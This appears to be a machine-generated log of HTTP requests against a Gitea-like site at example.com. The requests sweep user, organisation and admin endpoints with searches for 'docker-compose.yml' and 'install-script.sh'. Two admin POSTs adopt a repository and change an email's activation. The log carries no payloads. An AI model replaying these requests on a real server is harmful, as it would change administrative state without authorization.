{"method": "GET", "target": "/alice/tools/milestones?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 63", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=docker-compose.yml&page=1"}
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 108", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=docker-compose.yml&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
